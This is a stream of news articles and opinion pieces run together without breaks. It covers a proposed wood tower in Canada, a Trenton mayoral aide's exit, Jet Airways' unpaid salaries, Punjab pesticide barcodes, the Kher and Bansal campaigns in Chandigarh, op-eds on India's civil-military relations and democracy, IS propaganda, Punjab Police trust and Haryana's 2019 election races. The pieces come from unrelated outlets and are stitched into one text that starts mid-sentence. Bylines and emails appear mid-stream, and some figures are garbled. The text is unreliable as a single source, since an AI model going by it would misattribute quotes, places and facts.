supporter of wood construction, says, Sustainability and low carbon is a city-wide priority, so any application for a project like that is great; it needs to look at that, but also the neighbourhood fit and affordability piece has to be there. Thats the single biggest challenge. Globe and mail/ Lloyd Alter/CC BY 2.0 Really, between the building code and zoning approvals, we could be talking years here. I can't help but think this is a bit of a stalking horse for the developer, Bruce Langereis, who is certainly getting a lot of publicity like this page in what's called Canada's National Newspaper, and who is not putting all of his eggs in one basket. However, if the public process vetoes it, they will find a Plan B. He suggested a massive block of five-storey buildings that would form canyons, which he says is far less appealing. Later, in an e-mail, he said hed be disappointed if their tower project didnt pass, though, as our goal is to demonstrate that traditional tower-base forms that we are accustomed to can be built in a low-carbon manner. He's referring to the Vancouver model building, where there is a base that fills the block at street level and a tower above. I wonder if it is really suitable for wood, which I think lends itself to forms like you find in Paris or Vienna. Even Brent Toderian, who was chief planner and proponent of the Vancouver model, has written that there are different ways to approach these things. Height and density have a relationship, one that can be over-simplified or mischaracterized, but its important to note that they arent the same thing. You can have density without height, and yes, you can have height without density. As I have said before about tall timber, I can't help but think that 40 storeys is too much of a wood thing. TRENTON The mayor is losing one of his most trusted aides. No, not Augustus A. Robbitt, but Nicholas Gangemi. Gangemi accepted another communications job in Burlington County, the mayor said Thursday. Gangemi worked for Reed Gusciora for more than five years, the mayor said, following the mayor over to City Hall. He previously served as chief of staff for the former state assemblyman. The mayor said Gangemi put in his notice a couple weeks ago and is leaving on good terms with the city. He called him an invaluable asset instrumental in helping along the Cook School deal. Gusciora grew irritated when asked whether there were any other circumstances behind his mayoral aides departure. He accused the newspaper of relying on lying sources. The Trentonian explained to the mayor it was obligated to check out information from all sources, and pointed out the information about Gangemis departure was accurate. The mayor took issue with the circumstances alleged by the tipster. The Trentonian isnt publishing those details because it couldnt confirm them. That didnt stop the mayor from melting down on the alleged mystery source. This person takes a small grain of truth and completely makes something up, Gusciora said. I would stop using that idiot. Hes doing it on purpose. Whatever person uses him, I have no respect for. The Trentonian left a message for Gangemi, who deferred comment to the mayors spokesman. Gangemis last day is May 5, the mayor said. The mayor will be down to four aides once Gangemi leaves, but he plans to replace him. pardeepdhull@gmail.com Mumbai, April 26 In a clear indication of lack of support from the lenders on further funding, Jet Airways chief executive Vinay Dube has said it is painful that there is no commitment on the part of all stakeholders on paying salaries to the employees which are due in a few days. The now grounded airline has not paid March salaries to its over 20,000 employees. Jet ceased operations on April 17. April salary is due in a few days. The airline suspended operations after the SBI-led consortium of lenders rejected its demand for a Rs 983-crore lifeline to help carry out operations and pay to the employees their March salaries. While we will continue to support the banks bid find a buyer or the airline, it pains us to communicate that no clarity or commitment on salaries has been provided by any of our stakeholders so far, Dube said in a communication to employees Friday. Significantly, on Friday the employees had planned to take out a peace walk towards the venue of Prime Minister Narendra Modis election rally in the BKC are here, but was cancelled at the last minute on request from the police and the state government. While on the one hand, we are being told to preserve the value of Jet Airways during the bid process; on the other hand, with no salary payment, some of our colleague have no choice but to find employment elsewhere. When we highlight the disappointing irony of this situation to the lenders, we are simply told that this problem is to be addressed by the shareholders, who should and could have agreed on a resolution plan a long time ago, Dube lamented in the letter. He also said though there have been many board meeting, the promoters and strategic shareholder (Etihad) there was no favourable outcome on funding and paying salaries so far. We have also approached government at the highest levels seeking intervention and assistance but that too has not yielded any positive results, he added. Dube also said in the past few days the leadership team is trying to convince the lenders to release some funds to the employees, while continuing to support the bank led bid sale process. We have told them repeatedly that our employees are facing grave hardships owing to non-payment of salaries and that if this were to continue any longer, our employees will have no option but to find employment elsewhere. Unfortunately, the banks have said they are unable to make any salary commitments, until after the bidding process is complete, he said. PTI ROBINSINGH@TRIBUNE.COM Vijay C Roy Tribune News Service Chandigarh, April 25 Coming to the aid of farmers in Punjab, which will ultimately benefit crops and end-consumers, agrochemicals manufacturers are gearing up to keep a check on spurious pesticides. The industry is planning to introduce barcode on every product sold in the state which will give product information and its origin. The move will help the state authorities to monitor the quality of pesticides, their use, transportation and storage in a better way. The annual sale of pesticides in Punjab is around Rs 1,500 crore and it is among the top five markets for agrochemical companies in India. In the recent past, Punjab has witnessed sale of spurious insecticides and pesticides. The state government had also banned their sale manufactured by a company at Dera Bassi in Mohali and seized many spurious, unauthorised and expired products worth crores of rupees. This move would check the sale of spurious insecticides and pesticides in the state. Around 350 companies are engaged in the manufacturing of agrochemicals and cater to the domestic market which is pegged at around Rs 16,000 crore annually. The incidence of spurious agrochemicals is not as high as reported, which says it is 25-30%, but its still there. Taking cognisance, the industry is acting responsibly and planning to introduce barcode on every product which will help the state government officials to get information about the product and its origin, agrochemical manufacturer UPL Limiteds chief operating officer Sagar Kaushik said. Earlier, Punjab State Farmers and Farm Workers Commission chairperson Ajay Vir Jakhar had also advocated that the Centre should make it mandatory for all agriculture input packaging to have a barcode giving product information. He said the barcode will sync with the GST and the e-way bill. This will help in tracking the sale of agrochemicals and checking their indiscreet usage. He said the states should make retailers log all agriculture input sales onto state government servers so as to trace the sale from factory to fields and for regulation enforcement. The Punjab State Farmers Commission has come up with a plan under which dealers selling seeds, fertilisers, insecticides and pesticides will be required to provide the purchasers (farmers) name and mobile number, input purchased, quantity, price etc. on a Central server created by the state government. The proposed database will help companies and research institutions in providing extension services to farmers. The database is also expected to help in awarding compensation to farmers in case the sale of spurious seeds, fertilisers or pesticides is detected. He said in the past 10 years, there has been no conviction in case of spurious seeds, eight in spurious fertilisers and 17 in case of spurious pesticides. He had earlier said there is a need to check the sale of substandard agricultural inputs and for that the state needs to examine the possibility of enacting legislation. Agrochemical business Rs 1,500 crore Size of Punjab market Rs 1,200 crore Haryana Rs 1,6000 crore Total domestic market editorial@tribune.com Ace actor Anupam Kher is back in the city and is actively taking part in the poll campaign of his wife MP Kirron Kher. He is also said to be the major force behind Kirron getting the BJP ticket for the Chandigarh Lok Sabha seat for the second time. The actor spoke to Chandigarh Tribune correspondent Sandeep Rana during his visit to the city to accompany his better half during the filing of nomination papers. Excerpts: Q: Your wife has got the BJP ticket for the second time. How do you see her candidature from here? The BJP high command has reaffirmed its faith in her considering the kind of work she has done during her tenure. You could see the love people showered on her when she came to file her nomination papers. A large number of people were part of the roadshow. Q: Announcement of her name was quite delayed. Why? This is a smart strategy. Captain does not announce in advance which player he is going to take to the field. They (BJP high command) know what they are doing. Q: It is said it was for your influence that Kirron got the ticket? It is the funniest thing I have heard. As an actor, if I have that much influence, it is a compliment but I will not take it. It is ridiculous. Q: For how long will you campaign for your wife in Chandigarh? I will be back after ten days and stay here for sometime. I am a professional actor and have a lot of work. But it is my moral duty to help her. Q: Of late, many celebrities like Sunny Deol and Urmila Matondkar are entering politics. How do you see it? It is fantastic. The commitment she showed towards the city in the last five years, Kirron has proved she is not just an actress but also a committed person. She has shown commitment by shifting her base from Mumbai to Chandigarh, leaving her family. Q: Recently, there have been films released on politics and political leaders. Even you have done The Accidental Prime Minister and it faced criticism as well. Your take on it. We all face criticism in our lives and I have faced it since my childhood. One who is not able engages in criticism. But they do not know I am a doer. I think such films should be made. And what is the harm in it? Q: What are your views on the Congress and the mahagathbandhan? Their only target is to remove PM (Narendra) Modi. They should tell what is their vision or roadmap for India. They should tell us how they want to go about it. Q: Do you have plans to enter politics? I have a work contract abroad and I am representing India internationally. For the time being, I am not joining politics, but cannot say, I may feel like going for it after a few years. editorial@tribune.com Tribune News Service Chandigarh, April 25 BJP candidate Kirron Kher today filed her nomination papers for the Lok Sabha elections from the city. She was accompanied by her husband Anupam Kher, Chief Minister of Uttarakhand Trivendra Singh Rawat, Haryana Chief Minister Manohar Lal Khattar and city BJP president Sanjay Tandon. Before the nomination was filed, a big roadshow was held in the city as a show of strength. Before the start of the roadshow, workers danced at the BJP office on dhol beats and raised slogans for the victory of Prime Minister Narendra Modi and Kher. Later, speaking to the media, Khattar said the contest in Chandigarh would be interesting. He said the people of Chandigarh were impressed with the work done by Kher and only she could defeat Congress candidate Pawan Kumar Bansal. Khers roadshow started from the BJPs Sector 33 office, Kamalam. It passed through the markets of Sector 34 and Sector 35, the Sector 22-23 light point and the Sector 16 stadium to finally conclude near the DC office. Before this, Kher stopped for some time outside the gurdwara at Sector 34 and offered prayers. After reaching the DC office, Kher filed her nomination papers before returning officer Mandeep Singh Brar. During the roadshow, a large number of supporters carried BJP flags in their hands. They raised slogans in favour of the BJP. On the way, party workers showered flower petals on Khers caravan. Traffic rules go for a toss Meanwhile, traffic rules went for a toss during the BJP roadshow. Helmetless youths were seen riding bikes. Several of them were triple riding. Cars and two-wheelers were seen moving on cycle tracks against the norms. Sources said a few challans were issued and the police were trying to trace the violators through CCTV cameras. MONEY METER Kher Assets up 41.64% in 5 yrs Total assets: Rs 47.49 cr | Moveable: Rs 31.83 cr (Includes assets of Kirron Khers actor-husband Anupam Kher) Couples moveable assets have increased by almost 157.92% or Rs 19.49 cr in the past five years. The rise is primarily explained by increase in cash, bank balance and fixed deposits The couple owns gold and silver jewellery worth Rs 4.85 cr Immoveable: Rs 15.66 cr There has been a fall in the immovable assets by almost 26.08% or about Rs 5.52 crore. All of Kirron Khers properties worth Rs 13.91 cr are inherited. All of Anupam Khers properties worth Rs 1.75 cr are self-acquired In 2014, the couple had declared two apartments in Juhu, Mumbai, which arent listed in the current affidavit. Anupam Kher purchased a flat in Shimla in 2015. Income According to the last income returns filed by the couple in 2017-2018, Kirron Khers income was around Rs 84.75 lakh. Anupam Kher, on the other hand, earned about Rs 1.34 cr the same year. uttara@tribuneindia.com Chandigarh, April 26 Congress leader Pawan Kumar Bansal filed his nomination papers from Chandigarh parliamentary seat here on Friday. Accompanied by his wife Madhu and Chandigarh Congress president Pradeep Chhabra, the 70-year-old former railway minister filed his nomination before the Deputy-Commissioner-cum-Returning Officer here. His affidavit says his moveable assetsincluding cash in hand, bank deposits and investments in jewellery are over Rs 1.29 crore. His wife, who works at Himachal-based Theon Pharmaceuticals Ltd, has Rs 2.55 crore in moveable assets. Bansal is a law graduate from Panjab University. He holds immoveable assets worth Rs 5.60 crore, including his share of his house in Sector 28. The four-time parliamentarian owns a 2013 model car whose current value has been shown as Rs 4 lakh. Bansal is pitted against BJP's sitting MP Kirron Kher and Aam Aadmi Party's Harmohan Dhawan among others. Chandigarh will vote for its lone parliamentary seat on May 19. PTI editorial@tribune.com Sandeep Rana Tribune News Service Chandigarh, April 25 On his visit to the city, actor Anupam Kher today created a stir as he convened a meeting of all BJP councillors and the Mayor at the residence of his wife MP Kirron Kher in Sector 8 here. Kher took the meeting of the elected representatives without the knowledge of the city unit of the party and without the MPs presence. Eyebrows were raised over his move as councillors said he was no authority to call them to a meeting. Councillors, preferring anonymity, told Chandigarh Tribune, We received a call from the MPs assistant and another from the BJP call centre saying that Anupam Kher will hold a meeting with all councillors at 6 pm. How can he call an official meeting? It was an official meeting as we had got a call from the partys call centre. Many councillors were left wondering about the convener of the meeting and its subject. It is not right on his part. The MP, the Mayor or the party president can call such meetings, not him. How can a third person, without the knowledge of the party, hold such a meeting? It is odd, lamented a party leader. City BJP president Sanjay Tandon said, The matter is not in my knowledge. Whether it is right or wrong, you can enquire about it from our organisational secretary. BJP organisational secretary Dinesh Kumar said the actor cannot hold a meeting like that. MP Kirron Kher, however, said, I was not there in the meeting. It was not any official meeting at all. He just wanted to meet them as he had also met them last time. It was only a small chit-chat session and nothing political or official. They had tea and shared experiences. Tandon, Moudgil trade barbs City BJP president Sanjay Tandon and former Mayor Davesh Moudgil had a heated exchange at the Kamlam in Sector 33 here on Thursday. They argued over an old issue of permission for using community centre to hold a blood donation camp. Tandon said to Moudgil, I called you up several times but you neither answer my calls nor called back. On this, Moudgil gave an explanation on the matter, which did not go down well with Tandon and arguments ensued. Moudgil is a confidant of former MP Satya Pal Jain. Tandon and Jain do not see each other eye to eye. editorial@tribune.com Tribune News Service Chandigarh, April 25 Two more senior leaders of the Bharatiya Janata Party (BJP) today joined the Congress in the presence of its candidate Pawan Kumar Bansal and local unit chief Pardeep Chhabra. After being formally inducted into the party fold, Roopinder Singh (Roopi Singh), who was earlier the BJP state convener and also president of the BJP industry cell, said, I am thankful to Manpreet Badal and Bibi Rajinder Kaur Bhattal for convincing me to join the Congress. Bansal has always worked for the welfare of the city, he said. Following in his footsteps, his wife Balwinder Kaur (Rana Kaur), a former general secretary of the womens wing of the BJP, said both she and her husband were once close to Kirron Kher, but some internal party issues led to their joining the Congress. SS Bhardwaj, another BJP leader, also formally joined the Congress today. Chhabra welcomed Roopi and Balwinder with garlands. Bansal spoke about how cooperative societies in Chandigarh came into being and how during the BJP tenure they faced problems. I assure that if voted to power, I will deal with these issues the way these need to be dealt with instead of burdening residents with unjustified taxes/penalties. Among other Congress leaders present on the occasion were HS Lucky, Ronny Singh, HL Kundra and Devender Babla. Bansal to file papers today Pawan Kumar Bansal, Congress candidate from Chandigarh, will file his nomination papers on Friday at 11 am. He will start from Congress Bhawan in Sector 35 with Congress workers at 10 am. editorial@tribune.com Sandeep Rana Tribune News Service Chandigarh, April 25 MP Kirron Kher today requested Haryana Chief Minister Manohar Lal Khattar and her husband Anupam Kher to take up the matter of giving a Rajya Sabha seat to city BJP president Sanjay Tandon. Kher stated this while filing her nomination papers at the office of the Deputy Commissioner-cum-returning officer in Sector 17 today. While the Deputy Commissioner was checking her papers, she told the Haryana Chief Minister that Tandon has to be taken to the Rajya Sabha. On this, Khattar said, The two have a brother-sister bond. The MP also asked her better half to raise the issue. You also have to take up the matter, she reminded the Bollywood actor, who is believed to have good relations with the top BJP leadership in Delhi. The actor, who returned from the USA a few days ago, is also said to have played a major role in getting the ticket for his wife. However, he has denied this, saying that the party had considered her work in the allotment of the ticket. There was talk of Tandon being considered for a Rajya Sabha seat from Haryana. Khers remarks have added credence to it. Sources said this was an option, but as of now it only seemed to be a lollipop, often given to disgruntled politicians. Asked about the move, Kher told Chandigarh Tribune, It was a personal conversation between the four of us. She said she had talked on this matter with the party earlier also. Tandon refused to comment on the issue. Air Marshal Brijesh Jayal (retd) Air Marshal Brijesh Jayal (retd) Former Air Officer Commanding-in-Chief, South Western Air Command RECENTLY, over 150 veterans, including eight former chiefs of the services, made an appeal to the President in his capacity as the Supreme Commander, expressing concern over the politicisation of the otherwise apolitical armed forces and seeking his intervention. Their apprehension was based on quoted instances of military operations and symbols being exploited during electioneering. Though no political dispensation was named, a reference to the ruling party was evident. Not long after, one was privy to a news conference held at the headquarters of the principal opposition party where a retired Army Commander, under whose charge the surgical strikes were executed in 2016, gave a briefing on the national security report that he had presented to the party president. The irony of the retired General professing to be apolitical in response to a reporters question, however, would not have been lost on those sensing a threat to our apolitical armed forces. Whatever inferences one may draw from these instances, one thing is clear to an impartial observer. This is perhaps the first General Election in which the armed forces have truly been sucked into the electoral rhetoric. This is a new low for our democracy, especially when the reality of civil-military relations is that our polity sings praises of the armed forces when it suits them and takes them for granted when in the saddle. That we have been lax in introducing much-needed reforms in every facet of our national security landscape, in spite of many task force and committee recommendations, speaks volumes of our political intent. But electoral politics aside, this is perhaps a good opportunity for all those concerned about the important issue of civil-military relations in our democracy to look beyond party manifestos and promises to delve deeper into this complex field. In Army and the Nation: The Military and Indian Democracy since Independence (2015), Prof Steven I Wilkinson, a political scientist at Yale University, draws on uniquely comprehensive data to explore the reasons why India, unlike other countries that inherited colonial divide and rule armies, has been able to consolidate its democracy and make its army safe for democracy, unlike its neighbour Pakistan, which emerged from the same colonial Indian institutions. Reviewing the book in Foreign Affairs (September-October 2015), Andrew Nathan writes, The protection of Indian democracy from military intervention looks on the surface like an unlikely achievement, given the weak institutions of civilian control that India inherited from the British Raj. Reaching back to the early years of Independence, however, Wilkinson shows that Indias new leaders took measures to prevent coups, such as institutionalising internal divisions within the armys leadership, placing top officers under surveillance, assigning domestic intelligence to a civilian agency, and creating civilian-controlled paramilitary forces to handle internal security and counter-insurgency. Wilkinsons research shows that Indian democracy and polity can claim credit for successfully steering civil-military relations to where India stands today. The question that recent happenings and debates pose is: what does the future hold and can we as a democracy remain sanguine? According to Wilkinson, the greatest challenge to civil-military relations is now not over the traditional concerns of higher command structures and ethnic hedging, but rather from the difficulties that the army faces in trying to remain a society apart. Party pressures, corruption and increasing political and societal efforts to interfere in its workings threaten its ability to retain its traditional recruiting structures and hierarchies and lead to strains on what has been up to now one of Indias major successes, the clear divide between the military and politics. These strains seem to be rearing their head, if recent events are any indicator. Looking at the external and internal security challenges facing the country that are becoming more demanding by the day and the political discourse that is getting more divisive, one shudders to look at the future with optimism. Clearly, one victim appears to be our civil-military relations and it is up to the polity to take the initiative to set right the balance before these ties begin to sour. As India conducts another General Election, demonstrating to the international community its credentials as the largest democracy in the world, and as a new government chosen by the people takes charge, there is serious work to be done on the civil-military relationship front. The new government must recognise that it inherits the challenge of a fraying relationship, one that has, as Wilkinsons work shows, destroyed many fledgling democracies. Equally, military commanders aspiring to choose politics as a career after their colour service must recognise that they owe it to this cause and the men and women they commanded to ensure a healthy cooling-off period, a self-imposed break of some years, before they jump into the rough and tumble of electoral politics. Shyam Saran Shyam Saran Former foreign secretary and senior fellow, centre for policy research Elections are indispensable to a democracy but are not sufficient for its sustenance. We should proudly celebrate the fact that India is holding its 17th General Election in its 72-year history as a republic. It is awesome to witness nearly 900 million voters exercising their franchise and holding the key to the fate of those who seek the privilege to serve them. But the countrys success in upholding democratic rights of its citizens owes as much to a broad political consensus on upholding the Constitution, respecting strong and independent institutions and processes based on it and ensuring the rule of law. It is in this latter aspect that there is cause for deep concern. The fierce competition for votes and political power is becoming increasingly no-holds-barred, where the sanctity of institutions and constitutionally empowered authorities is being systematically undermined. We are witnessing the rampant politicisation of virtually every arm of the state and the partisan use of the state machinery in pursuit of political and ideological ends. Even if elections continue to be held in the future, the corrosion of institutions and deflections from the Constitution would leave Indias democracy severely undermined. There is a danger that it may eventually become an empty shell. During the election campaign, there have been blatant violations of the model code and yet the Election Commission remains reluctant to call out the offenders. Senior leaders of the ruling party have been making openly communal statements with barely a rap on their knuckles. One openly threatens Muslims in her constituency that if they do not vote for her she will retaliate by depriving them of access to jobs and benefits. The UP Chief Minister says proudly that his party stands for Bajrangbali while the Opposition stands for Ali. Sadhvi Pragya Thakur, who stands accused of acts of terrorism and is brazenly communal, is the ruling partys candidate for Bhopal. She celebrated the announcement of her candidature by insulting the memory of a brave police officer who sacrificed his life defending Indias citizens from a terrorist attack. She even owned up proudly to having participated in the infamous and criminal demolition of the Babri Masjid in 1992. And yet her candidature is defended by the Prime Minister himself. There is grave danger in the cynical politicisation of the armed forces. This has led several armed forces veterans to address a joint letter to the President expressing their disquiet. The use of electoral bonds for political financing has made even more intimate the nexus between big business and politics but parties remain silent on what is the very anti-thesis of democratic choice. It is ominous to hear the Home Minister say that if back in power, his party will further strengthen the infamous colonial era sedition law and that this would send shivers down the spine of potential offenders. National security cannot become a tool to threaten ones citizens or to brand dissent as anti-nationalism. Those who value Indias democracy and the precious freedoms which its citizens enjoy should reflect on the direction in which the country seems headed. Let us be clear that no overarching Hindu unity can be built on a Hindu-Muslim binary. The attempt to put Muslims and non-Hindus into a lower category of second-class citizens would be antithetical to the very idea of a democracy of equal citizens. Once polarisation is unleashed it will spread according to its own dynamic. Its claim to legitimacy cannot be confined to one category alone but will spawn many other claims to exclusive identities, based on caste, creed, language and ethnicity. Indias democracy can only be plural and inclusive. A monochromatic political dispensation is not compatible with democracy. It would appear that the image of a tough state and a strong and decisive political leadership resonates with a significant part of the Indian electorate. A country with deep political divisions and at war with itself cannot be a strong and effective state. In a democracy, moreover, a strong and decisive leadership should never be equated with its capacity to instil fear and suspicion among its own citizens, but rather with its ability to inspire a sense of security, comfort and well-being among them. Leadership in a democratic state must be humane and compassionate rather than one which shows its fists all the time. The world is in the midst of an unprecedented and fundamental transition and this is throwing up major challenges but also significant opportunities for India. There needs to be a broad political consensus to enable the country to leverage opportunities and overcome challenges. Despite the upsurge in narrow nationalism and parochial politics, globalisation will continue to advance since it is driven by technology. India is able to negotiate globalisation more successfully, precisely because of its success in managing a highly diverse and plural society. There is an inherent spirit of cosmopolitanism among its people, which is what is needed in an intensely inter-connected world. Indias place in the world will be determined not by its displays of muscularity but by its relevance and contribution to the resolution of the major cross-national and global issues of our times, such as eradication of poverty, climate change, terrorism and cyber security. Having demonstrated its ability to shoot down a satellite, India would be better respected for its leading role in the framing of an international agreement on the safety of space-based assets. How Indians relate to one another influences how the country handles relations with other states. A shrinking vision at home cannot sustain an expansive vision abroad. harinder@tribunemail.com Claiming responsibility for the Easter carnage in Sri Lanka, the Islamic State (IS) has released a video clip purportedly showing the men who carried out the suicide bombings. The only one whose face is not covered has been identified as Mohamed Zahran, a radical preacher who had been posting pro-IS videos on social media for the past three years, advocating violence against non-Muslims. The island nation has been trying to curb the spread of hate speeches and misinformation on online platforms, but Zahrans case shows that a lot more needs to be done to stem the rot. Despite having suffered major reversals in Iraq and Syria, the IS continues to make its presence felt, particularly in cyberspace. The terror organisation is busy exploiting social media to propagate its ideology across the globe and further its nefarious agenda of radicalisation and indoctrination. The online dissemination of extremist propaganda has become a major cause for concern for the international community. Jolted by last months Christchurch shootings, which were broadcast live on the Internet by the assailant, New Zealand Prime Minister Jacinda Ardern has promised international collaboration to tackle the misuse of social media for fuelling militant ideology. She will meet French President Emmanuel Macron in this regard next month. France is already contemplating a legislation under which Internet companies can be fined up to 4 per cent of their global revenues if they fail to remove extremist content within 24 hours. More world leaders need to come together and coordinate their efforts to deal with the menace. Social media providers must take more responsibility for the content that is posted on their platforms. They should put in place requisite checks and balances. A blanket ban is not advisable as it will infringe on freedom of expression; the need of the hour is to ensure regular monitoring and the imposition of penalties on repeat offenders. India, which has been battling cross-border terrorism for the past three decades or so, should play a proactive role in this initiative so that an effective regulatory mechanism is established. harinder@tribunemail.com The Status of Policing in India Report (SPIR), 2018, places the Punjab Police at the bottom of the ladder (number 22) insofar as perception is concerned. Regarding trust in senior officers, Punjab fares only slightly better, having got the 20th spot. Though shameful, unfortunately the finding is not surprising. It will find an echo in the common mans experience. Rather than looking up to the cops for help and a fair deal in the redress of a grievance, an aggrieved party is apprehensive of approaching the men in khaki. Looming large behind this fear are two tags attached to the law-enforcing agency. One, of corruption and the other of violence, made worse by the policemens knack for hiding their misconduct and brutality. This is borne out by successive reports of the Punjab State Human Rights Commission which year after year reveal that most human rights abuse cases have been recorded against the state police. The latest study refers to custodial deaths, torture and false implication by the police and jail authorities. Any hope of justice being delivered is dashed as senior police officials are seen to be protecting their subordinates accused of violations even when facts indicate culpability of the latter, as per the report. Politicisation of postings and transfers give them an armour of protection from the powers that be. When Suresh Arora took over as the Punjab Police chief in October 2015, he said his top priority would be to restore the lost trust in the police. The forces image had slid after two men protesting against the sacrilege of Guru Granth Sahib were killed in police firing a few days earlier. The complicity of cops in drug trafficking cases plagued the beleaguered agency as the public increasingly fell prey to drug addiction. Arora, who stepped down from the post this February, had some success, but more needs to be done, as is evident from the SPIR. It points to the states indifference to systemic improvements in the police. Not only must the police uphold the rule of law, it must also be seen to uphold it. Theres a long way to go in becoming the peoples police. editorial@tribune.com Pradeep Sharma Tribune News Service Chandigarh, April 25 In the absence of a strong Modi wave, Congress heavyweights and the JJP-AAP alliance may rock the BJP boat in the 2019 Lok Sabha elections. The saffron partys euphoria of winning the Jind bypoll and five mayoral elections recently may prove to be shortlived as the Congress has lined up its heavyweights to take on the ruling party even as the JJP-AAP alliance is also posing a challenge to the ruling dispensation. Apparently making it a do or die battle, the Congress has fielded at least six senior leaders former Chief Minister Bhupinder Singh Hooda (Sonepat), former Speaker Kuldeep Sharma (Karnal), former Union Minister Kumari Selja (Ambala), state Congress chief Ashok Tanwar (Sirsa), former state minister Ajay Yadav (Gurugram) and three-time MP Deepender Hooda (Rohtak). In fact, the faction-ridden Congress, which could win only the Rohtak seat in the 2014 Lok Sabha elections, is leaving no stone unturned to put up an impressive show in the May 12 parliamentary elections, the results of which would set the tone for the October Assembly elections in the state. This coupled with the support base of the JJP-AAP alliance, especially among the youth, and its impressive performance in the Jind byelection, where its candidate secured around 38,000 votes, is giving sleepless nights to the BJP. However, the ruling party is still banking on the Modi magic and division of the Opposition vote in the event of multi-cornered contests to better its performance in the parliamentary elections. The people of Haryana would vote to elect Narendra Modi as the Prime Minister again. Despite Opposition claims, Modi magic is still intact and a divided Opposition would help the BJP win all 10 seats in Haryana, Education Minister Ram Bilas Sharma told The Tribune. BJP sources said the party was banking heavily on the consolidation of the urban and non-Jat vote for better results. The BJP gave its best performance on the strength of Modi wave and polarisation of urban and non-Jat votes in its favour in 2014 Lok Sabha election and the same phenomenon would be repeated this time too, a senior functionary of the party asserted. However, multi-cornered contests and no clear-cut wave in favour of any party could make the elections anybodys game in the state. In such a scenario, the individual candidates would matter the most with some surprises expected in the May 12 elections. Oppn shores up strong line-up Apparently making it a "do or die" battle, the Congress has fielded at least six senior leaders - former Chief Minister Bhupinder Singh Hooda (Sonepat), former Speaker Kuldeep Sharma (Karnal), former Union Minister Kumari Selja (Ambala), state Congress chief Ashok Tanwar (Sirsa), former state minister Ajay Yadav (Gurugram) and three-time MP Deepender Hooda (Rohtak) Modi magic still intact "The people of Haryana will vote to elect Narendra Modi as the Prime Minister again. Despite Opposition claims, Modi magic is still intact and a divided Opposition will help the BJP win all 10 seats in Haryana." Ram Bilas Sharma, Education Minister Former taxation minister joins BJP Karnal: Two-time MLA and former taxation minister Jai Parkash Gupta on Wednesday joined the BJP. In the last Assembly elections against Chief Minister Manohar Lal Khattar, he remained on the second position. He is one of the bigwigs and veteran leader. Considered one of the prominent faces of the Vaish community in Karnal, Gupta was welcomed in the party fold by Chief Minister Manohar Lal Khattar in Chandigarh at his residence. Gupta, who unsuccessfully contested his first election as an Independent in 1987, said he had joined the party unconditionally. TNS Setback to JJP, Jind leader quits party Hisar: In a setback to the Jannayak Janta Party (JJP) in Jind, its panchayati raj cells state president Pradeep Gill quit the party on Thursday. He is yet to decide his next course of action. Gill belongs to the Jind Assembly segment, which is a part of the Sonepat Lok Sabha seat. I was upset with the JJP leaders politics of revenge, he told the media in an apparent reference to JJP leader Digvijay Chautala, who is contesting from Sonepat. JJP leaders have been talking about taking revenge on Congress Sonpeat candidate Bhupinder Singh Hooda, who had defeated the great grandfather of Digvijay thrice in Rohtak. TNS editorial@tribune.com Sushil Manav Tribune News Service Rohtak, april 25 Seeking a re-election from the Rohtak Lok Sabha seat for a fourth term, Congress candidate Deepender Singh Hooda, 41, son of former Chief Minister Bhupinder Singh Hooda, is going strong in his familys bastion, but the fear of last-minute polarisation of votes on caste lines worries supporters. Such is the grip of the Hooda clan over the seat that of the 17 elections held so far since 1952, the family has won nine times thrice by Deepender, four times by his father and twice by sitting MPs grandfather Ranbir Singh Hooda. He is pitted against BJPs Arvind Sharma. Out for campaigning in his fathers Garhi-Sampla- Kiloi Assembly segment, Deepender canvasses late into the night. At Kiloi, where he is scheduled to address a rally at 4 pm, he enters the village periphery around 9.30 pm. Youths dance ahead of his SUV on campaign songs eulogising Hooda Senior and Deepender. As the cavalcade passes through the narrow lanes, villagers gather to greet the young MP. During the 14 years of my stint, I got 1,168 km of national highway constructed, brought AIIMS, IIT, IIM, FDDI and IHM to Rohtak, besides health, women and skill development universities, he says in his address. New power projects were set up, rail over-bridges constructed and schemes initiated for farmers and weaker sections. Jobs were provided to the youth and sportspersons rewarded. What achievements does the BJP have? It only burnt Haryana thrice in three years, he says, pointing towards the Rampal Ashram violence, Jat quota violence and Dera violence. He doesnt forget to garner votes for father, who is contesting from neighbouring Sonipat. He is a tall leader and deserves more, but please ensure my victory margin goes up, he says. His BJP rival Arvind Sharma, on the other hand, is banking on national security and says only Prime Minister Narendra Modi can provide security to the people. Over a 100 people, including women, line up for the candidate as he arrives at Assan village in the Garhi-Sampla-Kiloi segment. Sharma is accompanied by Minister of State for Cooperatives Manish Grover. Pakistan, China and Taliban dont want to see Modi as PM because they know he wont allow them to go ahead with their designs, he says. Terror groups from the neighbouring country know that till Modi is at the helm, he wont let them return alive if they dare enter India, asserts Sharma. He denies allegations by Hooda supporters that the BJP is trying to polarise election on caste lines and says a party that believes in Sabka Saath, Sabka Vikas cant indulge in such politics. He doesnt forget to mention convener Rakesh Dhaka and Kiloi BJP mandal president Anil Hooda, both Jats, as he avoids being projected as a leader of a particular class or community. On his poll prospects against Deepender Hooda in his familys bastion, a confident Arvind Sharma says: I am doing my job by reaching out to voters and highlighting BJPs poll agenda. I am telling them how important it to bring Modi to power. Rest is up to the voters. Anil Hooda claims though Deepender has been winning the seat comfortably so far, the situation is different from 2014. Deepender has so far contested all elections with his father at the helm as CM. Despite this, his margin of victory was reduced to a great extent in 2014. This time, he is facing the opposition of a large section of electorate, especially after the February 2016 violence that caused huge damage to peoples properties, claims a BJP worker. What has BJP to offer New power projects were set up. Jobs were provided to the youth and sportspersons rewarded. What achievements does the BJP have? It only burnt Haryana thrice in three years. Deepender Singh Hooda, Cong Pak, china wary of PM Pak, China and Taliban dont want to see Modi as PM because they know he wont allow them to go ahead with their designs They know till Modi is at the helm, he wont let them return alive if they dare enter India. Arvind Sharma, BJP editorial@tribune.com Pradeep Sharma Tribune News Service Chandigarh, April 25 Former Chief Minister Bhupinder Singh Hoodas prestige is at stake in his stronghold in the Jat heartland comprising the Rohtak and Sonepat Lok Sabha seats. The Congress has fielded Hooda from the Sonepat parliamentary constituency. With the ruling BJP going all out to checkmate Hoodas influence in the Jat heartland (Sonepat, Rohtak and Jhajjar), he is facing one of the toughest battles of his long political career. In fact, it will be an acid test of Hoodas popularity in the Jat heartland as his son Deepender Hooda is also trying to retain the Rohtak Lok Sabha seat for the fourth time in a row. While Hooda will have a difficult time in taking along various Congress factions, the BJP is already making efforts to contain his influence in the Jat heartland, which voted overwhelmingly for the Congress in the 2014 Assembly elections (10 of the 15 Congress MLAs come from these three districts). However, after the February 2016 violent Jat quota agitation in which large-scale loss of life and property in Rohtak and Jhajjar was 